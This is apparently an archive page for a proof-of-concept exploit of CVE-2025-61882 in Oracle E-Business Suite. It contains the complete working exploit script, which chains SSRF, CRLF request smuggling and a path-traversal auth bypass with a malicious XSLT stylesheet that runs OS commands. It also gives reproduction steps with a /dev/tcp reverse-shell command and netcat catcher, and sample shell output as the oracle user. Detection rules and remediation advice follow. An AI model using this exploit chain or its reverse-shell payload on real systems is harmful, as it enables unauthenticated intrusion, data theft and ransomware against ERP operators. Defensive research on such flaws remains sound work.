PoC Archive PoC Archive
CVE-2025-61882 category: web CVSS 9.8 (CRITICAL) KEV Ransomware EPSS 100%
Patched

Oracle E-Business Suite Pre-Authentication RCE Chain (CVE-2025-61882)

Published: 2026-08-09 • Researcher: Sonny, Sina Kheirkhah (@SinSinology), Jake Knott (@inkmoro) of watchTowr Labs

Target software Oracle E-Business Suite — Oracle Concurrent Processing product, BI Publisher Integration component (reached via the /OA_HTML/ web tier: configurator/UiServlet and ieshostedsurvey.jsp)
Affected versions Oracle E-Business Suite 12.2.3 through 12.2.14 (all supported releases in that band, per NVD and the Oracle alert)
Status Patched (Oracle out-of-band Security Alert, October 2025)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV Ransomware EPSS 100%

Confirmed exploited in the wild. Added to CISA KEV 2025-10-06. Federal remediation deadline 2025-10-27.

EPSS 99.7% · 100th percentile

Severity
Critical
CVE
CVE-2025-61882 (Oracle Security Alert, out-of-band, October 2025)
Category
web
Affected product
Oracle E-Business Suite — Oracle Concurrent Processing product, BI Publisher Integration component (reached via the /OA_HTML/ web tier: configurator/UiServlet and ieshostedsurvey.jsp)
Affected versions
Oracle E-Business Suite 12.2.3 through 12.2.14 (all supported releases in that band, per NVD and the Oracle alert)
Disclosed
2026-08-09
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2025-10-06
Author / ResearcherSonny, Sina Kheirkhah (@SinSinology), Jake Knott (@inkmoro) of watchTowr Labs
CVE / AdvisoryCVE-2025-61882 (Oracle Security Alert, out-of-band, October 2025)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPatched (Oracle out-of-band Security Alert, October 2025)
Tagsoracle-ebs, oracle-concurrent-processing, bi-publisher-integration, pre-auth, rce, ssrf, crlf-injection, request-smuggling, path-traversal, auth-bypass, xslt, java, cisa-kev, ransomware, cl0p, watchtowr
RelatedN/A

Affected Target

FieldValue
Software / SystemOracle E-Business Suite — Oracle Concurrent Processing product, BI Publisher Integration component (reached via the /OA_HTML/ web tier: configurator/UiServlet and ieshostedsurvey.jsp)
Versions AffectedOracle E-Business Suite 12.2.3 through 12.2.14 (all supported releases in that band, per NVD and the Oracle alert)
Language / PlatformJava / J2EE (Oracle WebLogic-hosted EBS application tier), typically on Oracle Linux
Authentication RequiredNo — the full chain is pre-authentication
Network Access RequiredYes — HTTP(S) access to the EBS web tier. Exploitation additionally requires the EBS server to be able to reach an attacker-controlled listener for the second half of the chain.

Summary

CVE-2025-61882 is an unauthenticated remote code execution chain in Oracle E-Business Suite 12.2.3 through 12.2.14. An attacker POSTs an XML document to the unauthenticated /OA_HTML/configurator/UiServlet endpoint; the servlet extracts a return_url element from that XML and opens a server-side HTTP connection to it, giving full-URL SSRF. Because the URL string is carried inside XML, CR and LF bytes can be smuggled in as HTML numeric character entities (
), surviving the XML parse and turning the SSRF into HTTP request smuggling — a second attacker-authored request is injected onto the same keep-alive connection. That smuggled request targets /OA_HTML/help/../ieshostedsurvey.jsp, using path traversal to escape the unauthenticated /OA_HTML/help/ allow-list prefix and reach an otherwise protected JSP. ieshostedsurvey.jsp then builds an XSL stylesheet URL from the attacker-controlled Host header, downloads it, and processes it with the Oracle XSLT engine — whose Java extension namespaces are abused to call ScriptEngineManager.eval() and finally Runtime.getRuntime().exec(), yielding OS command execution as the EBS application user (oracle). CISA added the CVE to the KEV catalog on 2025-10-06 with knownRansomwareCampaignUse = Known; it was exploited at scale by the Cl0p ransomware and extortion group.

Vulnerability Details

Root Cause

The chain is a stack of five distinct defects, none of which is individually sufficient:

  1. Unauthenticated SSRF with full URL control/OA_HTML/configurator/UiServlet accepts an XML document in the getUiType request parameter. It parses out the <param name="return_url"> value and hands it to an internal postXmlMessage() routine, which opens an HTTP connection to that URL. Per the watchTowr write-up, the attacker has complete control over the connection URL, which is a textbook SSRF. The endpoint requires no session.
  2. No CRLF sanitisation on the SSRF URL, and an XML-entity decode in front of it — because the URL arrives inside an XML document, CR and LF can be expressed as numeric character references (&#13; / &#10;). The XML parser decodes them into real control characters after any string-level inspection of the raw parameter, so the URL that reaches the HTTP client contains genuine line breaks. Header and body injection into the server-side request follows directly.
  3. Keep-alive request smuggling — the injected bytes are terminated with a bare POST / fragment. This keeps the upstream TCP connection framed so that the injected request is parsed as a complete, separate request on the same channel, and the trailing stub absorbs whatever the server appends. The result is that the attacker, not the server, authors a second full HTTP request.
  4. Authentication allow-list applied to the raw path prefix, before normalisation/OA_HTML/help/ is exempt from the EBS authentication filter. The filter matches on the un-normalised request path, but the servlet container later resolves .. segments. A request to /OA_HTML/help/../ieshostedsurvey.jsp therefore passes the allow-list check as a help request while actually being served as /OA_HTML/ieshostedsurvey.jsp.
  5. XSLT processing of an attacker-hosted stylesheet, with Java extensions enabledieshostedsurvey.jsp derives the stylesheet URL from the incoming Host header, fetches it, and runs it through the Oracle XSLT processor. That processor exposes arbitrary Java classes through its http://www.oracle.com/XSL/Transform/java/<FQCN> extension namespaces, so a stylesheet is effectively arbitrary Java. There is no allow-list on which classes may be reflected, and no restriction on the stylesheet source.

The Host-header-driven fetch in step 5 is what lets the attacker point the second half of the chain at an external listener: the smuggled request carries Host: <attacker>:<port>, so the EBS server dials out for the .xsl.

Attack Vector

Two HTTP interactions plus one inbound callback:

Output
1. POST /OA_HTML/JavaScriptServlet        (unauthenticated; seeds session cookies)
2. POST /OA_HTML/configurator/UiServlet   (unauthenticated; carries the XML with the
                                           entity-encoded, CRLF-injected return_url)
      -> EBS opens a server-side connection to return_url  (SSRF)
      -> smuggled request lands on /OA_HTML/help/../ieshostedsurvey.jsp  (auth bypass)
      -> EBS fetches http://<attacker>:<port>/OA_HTML/help/../ieshostedsurvey.xsl
3. Attacker listener answers with the weaponised XSL   (inbound callback -> RCE)

No credentials, no user interaction, no prior knowledge of the instance is required.

Impact

Arbitrary OS command execution on the Oracle E-Business Suite application tier as the EBS runtime account. The upstream demonstration output shows the resulting shell running as uid=54321(oracle) gid=54321(oinstall) with dba group membership — meaning the foothold is not a low-privileged web user but the account that owns the EBS installation and holds database access. From there: full ERP data access (finance, HR, supplier and customer records), credential and configuration theft from the application tier, and lateral movement into the database. This is precisely how the CVE was used in practice — CISA records knownRansomwareCampaignUse = Known, and the Cl0p group used it for large-scale data theft and extortion against EBS operators.

Environment / Lab Setup

Output
Target:      Oracle E-Business Suite 12.2.3 - 12.2.14 application tier, /OA_HTML/ reachable
             over HTTP(S). The EBS host must be able to open outbound connections back to
             the attacker listener (this is required by the chain, not incidental).
Attacker:    Linux with Python 3 and the `requests` package. Root or CAP_NET_BIND_SERVICE
             if you bind the bundled listener to a privileged port (the upstream example
             uses --lport 80).
Tools:       watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py (this folder),
             netcat or similar for the command callback if you request a reverse shell.
Network:     Isolated lab. Two-way reachability between attacker and target is mandatory.

Setup Steps

Shell script
1
pip install requests

Mandatory edit before use — the SSRF destination is hardcoded upstream. In smuggle() the return_url host is fixed to the placeholder http://apps.example.com:7201, while the smuggled second request takes its Host: header from --lhost. These two values serve different roles and the first one is not exposed as a flag:

Python
1
xml = f'''...<param name="return_url">http://apps.example.com:7201{payload}</param>...'''
  • return_url is the address the EBS server itself dials for the SSRF, so it must be an address of the target EBS instance as reachable from the EBS server (port 7201 is a typical internal EBS applications port). That is what makes the smuggled second request land on the vulnerable /OA_HTML/... endpoint.
  • --lhost / --lport name the attacker listener that serves the .xsl and is bound by the script itself.

The placeholder is left exactly as upstream published it in this mirror — it has deliberately not been “fixed”, so the copy stays byte-identical to the researchers’ release. Operators must edit that line themselves. A reader who runs the script unmodified will see the CSRF and smuggle-stub stages succeed and then nothing further, because the EBS server is being told to connect to a domain that does not exist.

Proof of Concept

See watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py (127 lines, unmodified) and upstream-README.md in this folder, mirrored byte-for-byte from watchtowrlabs/watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 at main commit 88d54bf13ba933137dde5ae2225066fab90e4864.

Step-by-Step Reproduction

  1. Edit the hardcoded SSRF destination (see Setup Steps above) so return_url points at the target EBS instance as seen from the EBS server.

  2. Run the script — it binds the listener, fetches a CSRF token, cooks the smuggle stub and fires the SSRF in one pass.

    Shell script
    1
    2
    3
    4
    5
    
    python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py \
      --target http://192.168.1.22:8000 \
      --lhost 192.168.1.10 --lport 80 \
      --platform linux \
      --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'
  3. Have a catcher ready if the command is a reverse shell.

    Shell script
    1
    
    nc -lvvnp 4444
  4. Confirm the chain fired by watching the bundled listener log for the inbound .xsl request from the target address. That callback is the reliable indicator that stages 1 to 4 all succeeded.

Exploit Code

Stage 1 seeds cookies and pulls a CSRF token, then builds the request that will be smuggled:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def update_csrf(target_address):
    s.get(target_address + "/OA_HTML/runforms.jsp", allow_redirects=False)
    res = s.post(target_address + "/OA_HTML/JavaScriptServlet",
                 headers={"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"})
    token = res.text.split(":")[1]      # body is TOKEN:<value>

stage2 = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: {args.lhost}:{args.lport}
User-Agent: xxxxx
Connection: keep-alive
Cookie: {"; ".join([f"{c.name}={c.value}" for c in s.cookies])}
 
'''
stage2 += "\r\n\r\n\r\nPOST /"          # keep-alive framing stub

The stub is then entity-encoded so the CRLFs survive the XML parse, and injected as the SSRF URL:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
def cook_smuggle_stub(payload):
    if payload.startswith("POST "):     # the verb is supplied by the SSRF client itself,
        payload = payload[5:]           # so only the request-target onward is smuggled
    payload = payload.replace("\n", "\r\n")
    return ''.join(['&#' + str(ord(i)) + ";" for i in list(payload)])

xml = f'''<?xml version="1.0" encoding="UTF-8"?><initialize>\
<param name="init_was_saved">test</param>\
<param name="return_url">http://apps.example.com:7201{payload}</param>\
<param name="ui_def_id">0</param><param name="config_effective_usage_id">0</param>\
<param name="ui_type">Applet</param></initialize>'''
s.post(target_address + "/OA_HTML/configurator/UiServlet",
       data={"redirectFromJsp": "1", "getUiType": xml})

The listener answers any path ending in .xsl with a stylesheet that reaches into Java through the Oracle XSLT extension namespaces — base64 is used only to get the JavaScript past XML escaping, and the blob is generated at runtime from the operator-supplied --command:

XML
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
    xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
    xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
    xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
  <xsl:template match="/">
    <xsl:variable name="bs"   select="b64:decodeBuffer(b64:new(),'&lt;base64 js&gt;')"/>
    <xsl:variable name="js"   select="str:new($bs)"/>
    <xsl:variable name="m"    select="jsm:new()"/>
    <xsl:variable name="e"    select="jsm:getEngineByName($m, 'js')"/>
    <xsl:variable name="code" select="eng:eval($e, $js)"/>
    <xsl:value-of select="$code"/>
  </xsl:template>
</xsl:stylesheet>

The decoded JavaScript builds a String[3] by reflection and executes it:

JavaScript
1
2
3
4
5
6
7
var stringc = java.lang.Class.forName('java.lang.String');
var cmds = java.lang.reflect.Array.newInstance(stringc, 3);
java.lang.reflect.Array.set(cmds, 0, 'sh');        // 'cmd' when --platform windows
java.lang.reflect.Array.set(cmds, 1, '-c');        // '/c'  when --platform windows
java.lang.reflect.Array.set(cmds, 2, '<--command>');
java.lang.Runtime.getRuntime().exec(cmds);
1                                                   // return a value for xsl:value-of

Expected Output

Output
[*] Listening on 192.168.1.10:80 and serving payload...
[*] connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking smuggle stub...
192.168.1.22 - - [06/Oct/2025 20:49:59] "GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1" 200 -

The inbound .xsl request from the target IP is the success signal. On the catcher:

Output
ubuntu@watchTowr:~$ nc -lvvnp 4444
Listening on 0.0.0.0 4444
Connection received on 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall),54322(dba),54323(oper),...

Detection & Indicators of Compromise

Output
POST /OA_HTML/configurator/UiServlet
  body: redirectFromJsp=1&getUiType=<?xml ...><param name="return_url">http://...&#13;&#10;...

"POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2"

SIEM / IDS rule (illustrative):

Output
alert http any any -> any any (msg:"Oracle EBS CVE-2025-61882 entity-encoded CRLF in return_url"; \
  flow:to_server,established; http.method; content:"POST"; \
  http.uri; content:"/OA_HTML/configurator/UiServlet"; \
  http.request_body; content:"return_url"; content:"&#13;"; distance:0; \
  classtype:web-application-attack; sid:9202561882; rev:1;)

alert http any any -> any any (msg:"Oracle EBS CVE-2025-61882 help path-traversal auth bypass"; \
  flow:to_server,established; http.uri; content:"/OA_HTML/help/../"; nocase; \
  classtype:web-application-attack; sid:9202561883; rev:1;)

Because the KEV entry flags ransomware use, retrospective hunting matters as much as prospective alerting: check historical web-tier logs back to before the October 2025 patch date, not just live traffic.

Remediation

ActionDetail
PatchApply the out-of-band Oracle Security Alert patch for CVE-2025-61882 (published October 2025) to Oracle E-Business Suite 12.2.3 through 12.2.14. Oracle states that a prerequisite patch level must already be in place before the alert patch can be applied — confirm the exact prerequisite in the advisory for your release before scheduling, because the patch will not apply cleanly otherwise.
Assume compromiseThis CVE was mass-exploited before and around disclosure by the Cl0p group. Patching stops future exploitation but does not evict an existing foothold. Hunt for the indicators above across historical logs, review the EBS application tier for webshells and unexpected files, rotate credentials reachable from the oracle account, and audit database access from the application tier.
Workaround / Compensating controlsRemove the EBS web tier from direct internet exposure; place it behind a VPN or an authenticating reverse proxy. Block or alert on requests to /OA_HTML/configurator/UiServlet from untrusted networks. Reject any request path containing /OA_HTML/help/../ (or .. after decoding) at the proxy, and normalise paths before applying authentication allow-lists.
Egress filteringDeny outbound HTTP(S) from the EBS application tier by default. The chain cannot complete without the server fetching a stylesheet from an attacker host, so egress control breaks the RCE stage even when the SSRF and auth bypass still work.
Config hardeningWhere the EBS release permits it, disable or constrain Java extension functions in the XSLT processor, and never allow stylesheet URLs to be derived from a client-supplied Host header. Review any other /OA_HTML/ allow-list prefixes for the same pre-normalisation matching flaw.

References

Notes

Authorship and licence. This PoC is the work of Sonny, Sina Kheirkhah (@SinSinology) and Jake Knott (@inkmoro) of watchTowr Labs (@watchTowrcyber), credited in the script banner itself and in the accompanying watchTowr Labs blog post. All three commits in the repository are by SinSinology, dated 2025-10-06. The upstream repository contains no LICENSE file and carries no GitHub licence metadata, so the code is all rights reserved by default — no licence is granted for reuse or redistribution. It is mirrored here unmodified for archival and defensive-research purposes with attribution to the watchTowr Labs authors; anyone intending to reuse or redistribute it should seek permission from them. No LICENSE file exists upstream, so none is mirrored.

Verified this session by reading the full source. The complete 127-line script and the upstream README were read directly rather than taken on trust, and the exploit chain was cross-checked against the watchTowr Labs write-up, the NVD record and the CISA KEV entry. Malware screen result: clean — no obfuscated payload that gets executed, no remote downloader, no credential exfiltration, no miner, no committed binaries, no install-time side effects, and mainstream dependencies only (requests plus the Python standard library argparse, threading, http.server, base64). The one base64 blob in the code is not a hidden payload: it is generated at runtime by b64encode() from the JavaScript template that embeds the operator-supplied --command, and base64 is used purely so the JavaScript survives XML escaping inside the stylesheet. There is no hardcoded command, no beacon, and no callback to any address the operator did not supply.

Metadata verified at ingestion. CISA KEV catalog 2026.08.07: dateAdded 2025-10-06, dueDate 2025-10-27, knownRansomwareCampaignUse Known, product “E-Business Suite”, vendor Oracle. NVD: CVSS 3.1 base 9.8 Critical, vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, published 2025-10-05, affected versions 12.2.3 through 12.2.14, located in the Oracle Concurrent Processing product / BI Publisher Integration component. EPSS percentile 100 (top of the distribution). The Cl0p ransomware and extortion group is the actor publicly associated with mass exploitation of this CVE against internet-facing EBS deployments.

Known upstream quirks, deliberately preserved in the mirror. These are recorded so a reader does not mistake them for mirroring errors or waste time debugging them:

  1. The SSRF return_url host is hardcoded to http://apps.example.com:7201 while the smuggled request Host: header comes from --lhost. There is no flag for the return_url host; operators must edit that line by hand. This is the single most likely reason for a “nothing happens” run. See Setup Steps for which value belongs where. It has not been patched in this copy, so the file remains byte-identical to the upstream release.
  2. The CSRF token is fetched, printed and then never used. update_csrf() parses the token out of the JavaScriptServlet response and prints it, but the token value is never attached to the subsequent UiServlet POST. What actually carries forward is the requests.Session cookie jar, which is serialised into the smuggled request Cookie: header. The token fetch is therefore effectively a reachability and session-seeding step.
  3. The smuggled request declares HTTP/1.2, which is not a real protocol version. It works because the receiving parser is lenient, and it doubles as an excellent detection signature (see Detection).
  4. stage1() normalises the target with rstrip('/') for update_csrf() but smuggle() is called with the raw args.target, so a --target value with a trailing slash produces a double slash in the UiServlet URL. Harmless in practice, but worth knowing.
  5. Framing as a “Detection Artifact Generator” understates it. watchTowr published the tool under that description, and it is genuinely useful for generating detection telemetry, but the code executes the operator-supplied --command on the target — it is a working RCE exploit and should be treated as such. Do not run it outside an isolated lab or an authorised engagement.

Interpretation flagged as inference. The role split between return_url (the SSRF destination the EBS server dials, which must resolve to the EBS instance from the perspective of the EBS server) and --lhost/--lport (the attacker listener serving the stylesheet) is not documented in the upstream README. It is derived from reading the code together with the watchTowr blog post, which confirms that ieshostedsurvey.jsp builds the stylesheet URL from the attacker-controlled Host header, and is consistent with the upstream demonstration log showing the target fetching ieshostedsurvey.xsl from the listener. Treat the specific port 7201 as a placeholder for a typical internal EBS applications port rather than a required value.

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import requests
import argparse
from threading import Thread
import http.server
from base64 import b64encode

requests.packages.urllib3.disable_warnings(category=DeprecationWarning)


class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path.endswith('.xsl'):
            base_command = ['sh', '-c']
            if(args.platform == 'windows'):
                base_command = ['cmd', '/c']
            js = f"""
            var stringc = java.lang.Class.forName('java.lang.String');
            var cmds =  java.lang.reflect.Array.newInstance(stringc,3);
            java.lang.reflect.Array.set(cmds,0,'{base_command[0]}');
            java.lang.reflect.Array.set(cmds,1,'{base_command[1]}');
            java.lang.reflect.Array.set(cmds,2,'{args.command}');
            java.lang.Runtime.getRuntime().exec(cmds);
            1
                """
            config_payload = f'''<xsl:stylesheet version="1.0"
                            xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                            xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"
                            xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"
                            xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"
                            xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">
                <xsl:template match="/">
                    <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{b64encode(js.encode()).decode()}')"/>
                    <xsl:variable name="js" select="str:new($bs)"/>
                    <xsl:variable name="m" select="jsm:new()"/>
                    <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>
                    <xsl:variable name="code" select="eng:eval($e, $js)"/>
                    <xsl:value-of select="$code"/>
                </xsl:template>
            </xsl:stylesheet>'''            

            self.send_response(200)
            self.send_header("Content-type", "application/xml")
            self.end_headers()
            self.wfile.write(config_payload.encode())
        else:
            self.send_response(404)
            self.end_headers()

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            

        watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py

        (*) Oracle E-Business Suite Pre-Auth RCE Detection Artifact Generator

          - Sonny, Sina Kheirkhah (@SinSinology),  Jake Knott (@inkmoro) of watchTowr (@watchTowrcyber)

        CVEs: [CVE-2025-61882]
"""
print(banner)

def stage1(target_address):
    update_csrf(target_address)
    stage2 = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: {args.lhost}:{args.lport}
User-Agent: xxxxx
Connection: keep-alive
Cookie: {"; ".join([f"{c.name}={c.value}" for c in s.cookies])}
 
'''
    stage2 += "\r\n\r\n\r\nPOST /"
    payload = cook_smuggle_stub(stage2)
    smuggle(args.target, payload)
 
 
def update_csrf(target_address):
    print("[*] connecting to target to retrieve CSRF token...")
    s.get(target_address + "/OA_HTML/runforms.jsp", allow_redirects=False)
    res = s.post(target_address + "/OA_HTML/JavaScriptServlet", headers={"CSRF-XHR": "YES", "FETCH-CSRF-TOKEN": "1"}, )
    token = res.text.split(":")[1]
    if len(token):
        print(f'[*] CSRF TOKEN: {token}')
    else:
        print(f'[!] Error retrieving CSRF token, exitting...')
        exit(0)
 
def cook_smuggle_stub(payload):
    print("[*] Cooking smuggle stub...")
    if payload.startswith("POST "):
        payload = payload[5:]
    elif payload.startswith("GET "):
        payload = payload = payload[4:]
    payload = payload.replace("\n", "\r\n")

    return ''.join(['&#' + str(ord(i)) + ";" for i in list(payload)])
 
def smuggle(target_address, payload):
    xml = f'''<?xml version="1.0" encoding="UTF-8"?><initialize><param name="init_was_saved">test</param><param name="return_url">http://apps.example.com:7201{payload}</param><param name="ui_def_id">0</param><param name="config_effective_usage_id">0</param><param name="ui_type">Applet</param></initialize>'''
    s.post(target_address + "/OA_HTML/configurator/UiServlet",
                    data={
                        "redirectFromJsp": "1",
                        "getUiType": xml
                    })

s = requests.session()
s.verify = False

argparser = argparse.ArgumentParser(description='Oracle E-Business Suite Pre-Auth RCE Detection Artifact Generator')
argparser.add_argument('--target', required=True, help='Oracle URL, e.g., http://apps.example.com:8000/')
argparser.add_argument('--lhost', required=True, help='LHOST')
argparser.add_argument('--lport', required=True, help='LPORT')
argparser.add_argument('--command', required=True, help='COMMAND to execute')
argparser.add_argument('--platform', required=True, choices=['linux', 'windows'], help='linux or windows')
args = argparser.parse_args()


target_address = args.target.rstrip('/')
httpd = http.server.HTTPServer(('0.0.0.0', int(args.lport)), SimpleHTTPRequestHandler)
thread = Thread(target=httpd.serve_forever)
thread.start()
print(f"[*] Listening on {args.lhost}:{args.lport} and serving payload...")
stage1(target_address)